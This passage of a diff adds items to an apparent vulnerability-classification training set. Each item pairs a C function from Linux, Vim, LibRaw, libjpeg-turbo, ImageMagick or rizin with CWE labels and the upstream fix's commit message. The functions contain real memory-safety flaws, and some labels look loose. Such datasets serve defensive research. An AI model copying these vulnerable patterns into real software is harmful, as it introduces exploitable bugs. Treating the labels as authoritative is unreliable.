*dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tscnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nexpression chr;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tstrcpy(buf, chr);\n+\tsysfs_emit(buf, chr);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tsprintf(buf,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tsnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tscnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n-\tlen += scnprintf(buf + len, PAGE_SIZE - len,\n+\tlen += sysfs_emit_at(buf, len,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nexpression chr;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t...\n-\tstrcpy(buf, chr);\n-\treturn strlen(buf);\n+\treturn sysfs_emit(buf, chr);\n}\n\nSigned-off-by: Joe Perches \nLink: https://lore.kernel.org/r/3d033c33056d88bbe34d4ddb62afd05ee166ab9a.1600285923.git.joe@perches.com\nSigned-off-by: Greg Kroah-Hartman '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ssize_t __weak cpu_show_meltdown(struct device *dev,\n\t\t\t\t struct device_attribute *attr, char *buf)\n{\n\treturn sprintf(buf, \"Not affected\\n\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'drivers core: Use sysfs_emit and sysfs_emit_at for show(device *...) functions\n\nConvert the various sprintf fmaily calls in sysfs device show functions\nto sysfs_emit and sysfs_emit_at for PAGE_SIZE buffer safety.\n\nDone with:\n\n$ spatch -sp-file sysfs_emit_dev.cocci --in-place --max-width=80 .\n\nAnd cocci script:\n\n$ cat sysfs_emit_dev.cocci\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tsprintf(buf,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tsnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tscnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nexpression chr;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tstrcpy(buf, chr);\n+\tsysfs_emit(buf, chr);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tsprintf(buf,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tsnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tscnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n-\tlen += scnprintf(buf + len, PAGE_SIZE - len,\n+\tlen += sysfs_emit_at(buf, len,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nexpression chr;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t...\n-\tstrcpy(buf, chr);\n-\treturn strlen(buf);\n+\treturn sysfs_emit(buf, chr);\n}\n\nSigned-off-by: Joe Perches \nLink: https://lore.kernel.org/r/3d033c33056d88bbe34d4ddb62afd05ee166ab9a.1600285923.git.joe@perches.com\nSigned-off-by: Greg Kroah-Hartman '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t runtime_active_time_show(struct device *dev,\n\t\t\t\tstruct device_attribute *attr, char *buf)\n{\n\tint ret;\n\tu64 tmp = pm_runtime_active_time(dev);\n\tdo_div(tmp, NSEC_PER_MSEC);\n\tret = sprintf(buf, \"%llu\\n\", tmp);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'drivers core: Use sysfs_emit and sysfs_emit_at for show(device *...) functions\n\nConvert the various sprintf fmaily calls in sysfs device show functions\nto sysfs_emit and sysfs_emit_at for PAGE_SIZE buffer safety.\n\nDone with:\n\n$ spatch -sp-file sysfs_emit_dev.cocci --in-place --max-width=80 .\n\nAnd cocci script:\n\n$ cat sysfs_emit_dev.cocci\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tsprintf(buf,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tsnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tscnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nexpression chr;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tstrcpy(buf, chr);\n+\tsysfs_emit(buf, chr);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tsprintf(buf,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tsnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tscnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n-\tlen += scnprintf(buf + len, PAGE_SIZE - len,\n+\tlen += sysfs_emit_at(buf, len,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nexpression chr;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t...\n-\tstrcpy(buf, chr);\n-\treturn strlen(buf);\n+\treturn sysfs_emit(buf, chr);\n}\n\nSigned-off-by: Joe Perches \nLink: https://lore.kernel.org/r/3d033c33056d88bbe34d4ddb62afd05ee166ab9a.1600285923.git.joe@perches.com\nSigned-off-by: Greg Kroah-Hartman '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: compile_nested_function(exarg_T *eap, cctx_T *cctx, garray_T *lines_to_free)\n{\n    int\t\tis_global = *eap->arg == 'g' && eap->arg[1] == ':';\n    char_u\t*name_start = eap->arg;\n    char_u\t*name_end = to_name_end(eap->arg, TRUE);\n    int\t\toff;\n    char_u\t*func_name;\n    char_u\t*lambda_name;\n    ufunc_T\t*ufunc;\n    int\t\tr = FAIL;\n    compiletype_T   compile_type;\n    isn_T\t*funcref_isn = NULL;\n\n    if (eap->forceit)\n    {\n\temsg(_(e_cannot_use_bang_with_nested_def));\n\treturn NULL;\n    }\n\n    if (*name_start == '/')\n    {\n\tname_end = skip_regexp(name_start + 1, '/', TRUE);\n\tif (*name_end == '/')\n\t    ++name_end;\n\tset_nextcmd(eap, name_end);\n    }\n    if (name_end == name_start || *skipwhite(name_end) != '(')\n    {\n\tif (!ends_excmd2(name_start, name_end))\n\t{\n\t    if (*skipwhite(name_end) == '.')\n\t\tsemsg(_(e_cannot_define_dict_func_in_vim9_script_str),\n\t\t\t\t\t\t\t\t     eap->cmd);\n\t    else\n\t\tsemsg(_(e_invalid_command_str), eap->cmd);\n\t    return NULL;\n\t}\n\n\t// \"def\" or \"def Name\": list functions\n\tif (generate_DEF(cctx, name_start, name_end - name_start) == FAIL)\n\t    return NULL;\n\treturn eap->nextcmd == NULL ? (char_u *)\"\" : eap->nextcmd;\n    }\n\n    // Only g:Func() can use a namespace.\n    if (name_start[1] == ':' && !is_global)\n    {\n\tsemsg(_(e_namespace_not_supported_str), name_start);\n\treturn NULL;\n    }\n    if (cctx->ctx_skip != SKIP_YES\n\t    && check_defined(name_start, name_end - name_start, cctx,\n\t\t\t\t\t\t\t  NULL, FALSE) == FAIL)\n\treturn NULL;\n    if (!ASCII_ISUPPER(is_global ? name_start[2] : name_start[0]))\n    {\n\tsemsg(_(e_function_name_must_start_with_capital_str), name_start);\n\treturn NULL;\n    }\n\n    eap->arg = name_end;\n    fill_exarg_from_cctx(eap, cctx);\n\n    eap->forceit = FALSE;\n    // We use the special 99 name, but it's not really a lambda.\n    lambda_name = vim_strsave(get_lambda_name());\n    if (lambda_name == NULL)\n\treturn NULL;\n\n    // This may free the current line, make a copy of the name.\n    off = is_global ? 2 : 0;\n    func_name = vim_strnsave(name_start + off, name_end - name_start - off);\n    if (func_name == NULL)\n    {\n\tr = FAIL;\n\tgoto theend;\n    }\n\n    ufunc = define_function(eap, lambda_name, lines_to_free);\n    if (ufunc == NULL)\n    {\n\tr = eap->skip ? OK : FAIL;\n\tgoto theend;\n    }\n    if (eap->nextcmd != NULL)\n    {\n\tsemsg(_(e_text_found_after_str_str),\n\t      eap->cmdidx == CMD_def ? \"enddef\" : \"endfunction\", eap->nextcmd);\n\tr = FAIL;\n\tfunc_ptr_unref(ufunc);\n\tgoto theend;\n    }\n\n    // copy over the block scope IDs before compiling\n    if (!is_global && cctx->ctx_ufunc->uf_block_depth > 0)\n    {\n\tint block_depth = cctx->ctx_ufunc->uf_block_depth;\n\n\tufunc->uf_block_ids = ALLOC_MULT(int, block_depth);\n\tif (ufunc->uf_block_ids != NULL)\n\t{\n\t    mch_memmove(ufunc->uf_block_ids, cctx->ctx_ufunc->uf_block_ids,\n\t\t\t\t\t\t    sizeof(int) * block_depth);\n\t    ufunc->uf_block_depth = block_depth;\n\t}\n    }\n\n    // Define the funcref before compiling, so that it is found by any\n    // recursive call.\n    if (is_global)\n    {\n\tr = generate_NEWFUNC(cctx, lambda_name, func_name);\n\tfunc_name = NULL;\n\tlambda_name = NULL;\n    }\n    else\n    {\n\t// Define a local variable for the function reference.\n\tlvar_T\t*lvar = reserve_local(cctx, func_name, name_end - name_start,\n\t\t\t\t\t\t    TRUE, ufunc->uf_func_type);\n\n\tif (lvar == NULL)\n\t    goto theend;\n\tif (generate_FUNCREF(cctx, ufunc, &funcref_isn) == FAIL)\n\t    goto theend;\n\tr = generate_STORE(cctx, ISN_STORE, lvar->lv_idx, NULL);\n    }\n\n    compile_type = get_compile_type(ufunc);\n#ifdef FEAT_PROFILE\n    // If the outer function is profiled, also compile the nested function for\n    // profiling.\n    if (cctx->ctx_compile_type == CT_PROFILE)\n\tcompile_type = CT_PROFILE;\n#endif\n    if (func_needs_compiling(ufunc, compile_type)\n\t    && compile_def_function(ufunc, TRUE, compile_type, cctx) == FAIL)\n    {\n\tfunc_ptr_unref(ufunc);\n\tgoto theend;\n    }\n\n#ifdef FEAT_PROFILE\n    // When the outer function is compiled for profiling, the nested function\n    // may be called without profiling.  Compile it here in the right context.\n    if (compile_type == CT_PROFILE && func_needs_compiling(ufunc, CT_NONE))\n\tcompile_def_function(ufunc, FALSE, CT_NONE, cctx);\n#endif\n\n    // If a FUNCREF instruction was generated, set the index after compiling.\n    if (funcref_isn != NULL && ufunc->uf_def_status == UF_COMPILED)\n\tfuncref_isn->isn_arg.funcref.fr_dfunc_idx = ufunc->uf_dfunc_idx;\n\ntheend:\n    vim_free(lambda_name);\n    vim_free(func_name);\n    return r == FAIL ? NULL : (char_u *)\"\";\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'patch 9.0.0221: accessing freed memory if compiling nested function fails\n\nProblem:    Accessing freed memory if compiling nested function fails.\nSolution:   Mess up the variable name so that it won't be found.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int crxFreeImageData(CrxImage *img)\r\n{\r\n  CrxTile *tile = img->tiles;\r\n  int nTiles = img->tileRows * img->tileCols;\r\n\r\n  if (img->tiles)\r\n  {\r\n    for (int32_t curTile = 0; curTile < nTiles; curTile++, tile++)\r\n      if (tile[curTile].comps)\r\n        for (int32_t curPlane = 0; curPlane < img->nPlanes; curPlane++)\r\n          crxFreeSubbandData(img, tile[curTile].comps + curPlane);\r\n    free(img->tiles);\r\n    img->tiles = 0;\r\n  }\r\n\r\n  if (img->planeBuf)\r\n  {\r\n    free(img->planeBuf);\r\n    img->planeBuf = 0;\r\n  }\r\n\r\n  return 0;\r\n}\r ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-770'], 'message': 'CR3 decoder: use mempool for memory'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: jinit_merged_upsampler(j_decompress_ptr cinfo)\n{\n  my_upsample_ptr upsample;\n\n  upsample = (my_upsample_ptr)\n    (*cinfo->mem->alloc_small) ((j_common_ptr)cinfo, JPOOL_IMAGE,\n                                sizeof(my_upsampler));\n  cinfo->upsample = (struct jpeg_upsampler *)upsample;\n  upsample->pub.start_pass = start_pass_merged_upsample;\n  upsample->pub.need_context_rows = FALSE;\n\n  upsample->out_row_width = cinfo->output_width * cinfo->out_color_components;\n\n  if (cinfo->max_v_samp_factor == 2) {\n    upsample->pub.upsample = merged_2v_upsample;\n    if (jsimd_can_h2v2_merged_upsample())\n      upsample->upmethod = jsimd_h2v2_merged_upsample;\n    else\n      upsample->upmethod = h2v2_merged_upsample;\n    if (cinfo->out_color_space == JCS_RGB565) {\n      if (cinfo->dither_mode != JDITHER_NONE) {\n        upsample->upmethod = h2v2_merged_upsample_565D;\n      } else {\n        upsample->upmethod = h2v2_merged_upsample_565;\n      }\n    }\n    /* Allocate a spare row buffer */\n    upsample->spare_row = (JSAMPROW)\n      (*cinfo->mem->alloc_large) ((j_common_ptr)cinfo, JPOOL_IMAGE,\n                (size_t)(upsample->out_row_width * sizeof(JSAMPLE)));\n  } else {\n    upsample->pub.upsample = merged_1v_upsample;\n    if (jsimd_can_h2v1_merged_upsample())\n      upsample->upmethod = jsimd_h2v1_merged_upsample;\n    else\n      upsample->upmethod = h2v1_merged_upsample;\n    if (cinfo->out_color_space == JCS_RGB565) {\n      if (cinfo->dither_mode != JDITHER_NONE) {\n        upsample->upmethod = h2v1_merged_upsample_565D;\n      } else {\n        upsample->upmethod = h2v1_merged_upsample_565;\n      }\n    }\n    /* No spare row needed */\n    upsample->spare_row = NULL;\n  }\n\n  build_ycc_rgb_table(cinfo);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'Fix jpeg_skip_scanlines() segfault w/merged upsamp\n\nThe additional segfault mentioned in #244 was due to the fact that\nthe merged upsamplers use a different private structure than the\nnon-merged upsamplers.  jpeg_skip_scanlines() was assuming the latter, so\nwhen merged upsampling was enabled, jpeg_skip_scanlines() clobbered one\nof the IDCT method pointers in the merged upsampler's private structure.\n\nFor reasons unknown, the test image in #441 did not encounter this\nsegfault (too small?), but it encountered an issue similar to the one\nfixed in 5bc43c7821df982f65aa1c738f67fbf7cba8bd69, whereby it was\nnecessary to set up a dummy postprocessing function in\nread_and_discard_scanlines() when merged upsampling was enabled.\nFailing to do so caused either a segfault in merged_2v_upsample() (due\nto a NULL pointer being passed to jcopy_sample_rows()) or an error\n(\"Corrupt JPEG data: premature end of data segment\"), depending on the\nnumber of scanlines skipped and whether the first scanline skipped was\nan odd- or even-numbered row.\n\nFixes #441\nFixes #244 (for real this time)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void ExportIndexAlphaQuantum(const Image *image,\n  QuantumInfo *quantum_info,const MagickSizeType number_pixels,\n  const PixelPacket *magick_restrict p,\n  const IndexPacket *magick_restrict indexes,unsigned char *magick_restrict q,\n  ExceptionInfo *exception)\n{\n  ssize_t\n    x;\n\n  ssize_t\n    bit;\n\n  if (image->storage_class != PseudoClass)\n    {\n      (void) ThrowMagickException(exception,GetMagickModule(),ImageError,\n        \"ColormappedImageRequired\",\"`%s'\",image->filename);\n      return;\n    }\n  switch (quantum_info->depth)\n  {\n    case 1:\n    {\n      unsigned char\n        pixel;\n\n      for (x=((ssize_t) number_pixels-3); x > 0; x-=4)\n      {\n        pixel=(unsigned char) *indexes++;\n        *q=((pixel & 0x01) << 7);\n        pixel=(unsigned char) (GetPixelOpacity(p) == (Quantum)\n          TransparentOpacity ? 1 : 0);\n        *q|=((pixel & 0x01) << 6);\n        p++;\n        pixel=(unsigned char) *indexes++;\n        *q|=((pixel & 0x01) << 5);\n        pixel=(unsigned char) (GetPixelOpacity(p) == (Quantum)\n          TransparentOpacity ? 1 : 0);\n        *q|=((pixel & 0x01) << 4);\n        p++;\n        pixel=(unsigned char) *indexes++;\n        *q|=((pixel & 0x01) << 3);\n        pixel=(unsigned char) (GetPixelOpacity(p) == (Quantum)\n          TransparentOpacity ? 1 : 0);\n        *q|=((pixel & 0x01) << 2);\n        p++;\n        pixel=(unsigned char) *indexes++;\n        *q|=((pixel & 0x01) << 1);\n        pixel=(unsigned char) (GetPixelOpacity(p) == (Quantum)\n          TransparentOpacity ? 1 : 0);\n        *q|=((pixel & 0x01) << 0);\n        p++;\n        q++;\n      }\n      if ((number_pixels % 4) != 0)\n        {\n          *q='\\0';\n          for (bit=3; bit >= (ssize_t) (4-(number_pixels % 4)); bit-=2)\n          {\n            pixel=(unsigned char) *indexes++;\n            *q|=((pixel & 0x01) << (unsigned char) (bit+4));\n            pixel=(unsigned char) (GetPixelOpacity(p) == (Quantum)\n              TransparentOpacity ? 1 : 0);\n            *q|=((pixel & 0x01) << (unsigned char) (bit+4-1));\n            p++;\n          }\n          q++;\n        }\n      break;\n    }\n    case 4:\n    {\n      unsigned char\n        pixel;\n\n      for (x=0; x < (ssize_t) number_pixels ; x++)\n      {\n        pixel=(unsigned char) *indexes++;\n        *q=((pixel & 0xf) << 4);\n        pixel=(unsigned char) (16*QuantumScale*((Quantum) (QuantumRange-\n          GetPixelOpacity(p)))+0.5);\n        *q|=((pixel & 0xf) << 0);\n        p++;\n        q++;\n      }\n      break;\n    }\n    case 8:\n    {\n      unsigned char\n        pixel;\n\n      for (x=0; x < (ssize_t) number_pixels; x++)\n      {\n        q=PopCharPixel((unsigned char) GetPixelIndex(indexes+x),q);\n        pixel=ScaleQuantumToChar((Quantum) (QuantumRange-GetPixelOpacity(p)));\n        q=PopCharPixel(pixel,q);\n        p++;\n        q+=quantum_info->pad;\n      }\n      break;\n    }\n    case 16:\n    {\n      unsigned short\n        pixel;\n\n      if (quantum_info->format == FloatingPointQuantumFormat)\n        {\n          for (x=0; x < (ssize_t) number_pixels; x++)\n          {\n            q=PopShortPixel(quantum_info->endian,(unsigned short) GetPixelIndex(indexes+x),q);\n            pixel=SinglePrecisionToHalf(QuantumScale*GetPixelAlpha(p));\n            q=PopShortPixel(quantum_info->endian,pixel,q);\n            p++;\n            q+=quantum_info->pad;\n          }\n          break;\n        }\n      for (x=0; x < (ssize_t) number_pixels; x++)\n      {\n        q=PopShortPixel(quantum_info->endian,(unsigned short) GetPixelIndex(indexes+x),q);\n        pixel=ScaleQuantumToShort((Quantum) (QuantumRange-GetPixelOpacity(p)));\n        q=PopShortPixel(quantum_info->endian,pixel,q);\n        p++;\n        q+=quantum_info->pad;\n      }\n      break;\n    }\n    case 32:\n    {\n      unsigned int\n        pixel;\n\n      if (quantum_info->format == FloatingPointQuantumFormat)\n        {\n          for (x=0; x < (ssize_t) number_pixels; x++)\n          {\n            float\n              pixel;\n\n            q=PopFloatPixel(quantum_info,(float) GetPixelIndex(indexes+x),q);\n            pixel=(float)  (GetPixelAlpha(p));\n            q=PopFloatPixel(quantum_info,pixel,q);\n            p++;\n            q+=quantum_info->pad;\n          }\n          break;\n        }\n      for (x=0; x < (ssize_t) number_pixels; x++)\n      {\n        q=PopLongPixel(quantum_info->endian,(unsigned int) GetPixelIndex(indexes+x),q);\n        pixel=ScaleQuantumToLong((Quantum) (QuantumRange-GetPixelOpacity(p)));\n        q=PopLongPixel(quantum_info->endian,pixel,q);\n        p++;\n        q+=quantum_info->pad;\n      }\n      break;\n    }\n    case 64:\n    {\n      if (quantum_info->format == FloatingPointQuantumFormat)\n        {\n          for (x=0; x < (ssize_t) number_pixels; x++)\n          {\n            double\n              pixel;\n\n            q=PopDoublePixel(quantum_info,(double) GetPixelIndex(indexes+x),\n              q);\n            pixel=(double) (GetPixelAlpha(p));\n            q=PopDoublePixel(quantum_info,pixel,q);\n            p++;\n            q+=quantum_info->pad;\n          }\n          break;\n        }\n    }\n    default:\n    {\n      QuantumAny\n        range;\n\n      range=GetQuantumRange(quantum_info->depth);\n      for (x=0; x < (ssize_t) number_pixels; x++)\n      {\n        q=PopQuantumPixel(quantum_info,\n          GetPixelIndex(indexes+x),q);\n        q=PopQuantumPixel(quantum_info,\n          ScaleQuantumToAny((Quantum) (GetPixelAlpha(p)),range),q);\n        p++;\n        q+=quantum_info->pad;\n      }\n      break;\n    }\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190'], 'message': 'https://github.com/ImageMagick/ImageMagick/pull/3083'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static RzDyldRebaseInfos *get_rebase_infos(RzDyldCache *cache) {\n\tRzDyldRebaseInfos *result = RZ_NEW0(RzDyldRebaseInfos);\n\tif (!result) {\n\t\treturn NULL;\n\t}\n\n\tif (!cache->hdr->slideInfoOffset || !cache->hdr->slideInfoSize) {\n\t\tut32 total_slide_infos = 0;\n\t\tut32 n_slide_infos[MAX_N_HDR];\n\n\t\tut32 i;\n\t\tfor (i = 0; i < cache->n_hdr && i < MAX_N_HDR; i++) {\n\t\t\tut64 hdr_offset = cache->hdr_offset[i];\n\t\t\tif (!rz_buf_read_le32_at(cache->buf, 0x13c + hdr_offset, &n_slide_infos[i])) {\n\t\t\t\tgoto beach;\n\t\t\t}\n\t\t\ttotal_slide_infos += n_slide_infos[i];\n\t\t}\n\n\t\tif (!total_slide_infos) {\n\t\t\tgoto beach;\n\t\t}\n\n\t\tRzDyldRebaseInfosEntry *infos = RZ_NEWS0(RzDyldRebaseInfosEntry, total_slide_infos);\n\t\tif (!infos) {\n\t\t\tgoto beach;\n\t\t}\n\n\t\tut32 k = 0;\n\t\tfor (i = 0; i < cache->n_hdr && i < MAX_N_HDR; i++) {\n\t\t\tut64 hdr_offset = cache->hdr_offset[i];\n\t\t\tif (!n_slide_infos[i]) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tut32 sio;\n\t\t\tif (!rz_buf_read_le32_at(cache->buf, 0x138 + hdr_offset, &sio)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tut64 slide_infos_offset = sio;\n\t\t\tif (!slide_infos_offset) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tslide_infos_offset += hdr_offset;\n\n\t\t\tut32 j;\n\t\t\tRzDyldRebaseInfo *prev_info = NULL;\n\t\t\tfor (j = 0; j < n_slide_infos[i]; j++) {\n\t\t\t\tut64 offset = slide_infos_offset + j * sizeof(cache_mapping_slide);\n\t\t\t\tcache_mapping_slide entry;\n\t\t\t\tif (rz_buf_fread_at(cache->buf, offset, (ut8 *)&entry, \"6lii\", 1) != sizeof(cache_mapping_slide)) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif (entry.slideInfoOffset && entry.slideInfoSize) {\n\t\t\t\t\tinfos[k].start = entry.fileOffset + hdr_offset;\n\t\t\t\t\tinfos[k].end = infos[k].start + entry.size;\n\t\t\t\t\tut64 slide = prev_info ? prev_info->slide : UT64_MAX;\n\t\t\t\t\tinfos[k].info = get_rebase_info(cache, entry.slideInfoOffset + hdr_offset, entry.slideInfoSize, entry.fileOffset + hdr_offset, slide);\n\t\t\t\t\tprev_info = infos[k].info;\n\t\t\t\t\tk++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (!k) {\n\t\t\tfree(infos);\n\t\t\tgoto beach;\n\t\t}\n\n\t\tif (k < total_slide_infos) {\n\t\t\tRzDyldRebaseInfosEntry *pruned_infos = RZ_NEWS0(RzDyldRebaseInfosEntry, k);\n\t\t\tif (!pruned_infos) {\n\t\t\t\tfree(infos);\n\t\t\t\tgoto beach;\n\t\t\t}\n\n\t\t\tmemcpy(pruned_infos, infos, sizeof(RzDyldRebaseInfosEntry) * k);\n\t\t\tfree(infos);\n\t\t\tinfos = pruned_infos;\n\t\t}\n\n\t\tresult->entries = infos;\n\t\tresult->length = k;\n\t\treturn result;\n\t}\n\n\tif (cache->hdr->mappingCount > 1) {\n\t\tRzDyldRebaseInfosEntry *infos = RZ_NEWS0(RzDyldRebaseInfosEntry, 1);\n\t\tif (!infos) {\n\t\t\tgoto beach;\n\t\t}\n\n\t\tinfos[0].start = cache->maps[1].fileOffset;\n\t\tinfos[0].end = infos[0].start + cache->maps[1].size;\n\t\tinfos[0].info = get_rebase_info(cache, cache->hdr->slideInfoOffset, cache->hdr->slideInfoSize, infos[0].start, UT64_MAX);\n\n\t\tresult->entries = infos;\n\t\tresult->length = 1;\n\t\treturn result;\n\t}\n\nbeach:\n\tfree(result);\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix oob write in dyldcache\n\nWhen the individual n_slide_infos were too high, the sum would overflow\nand too few entries would be allocated.'"
+  },
+  {
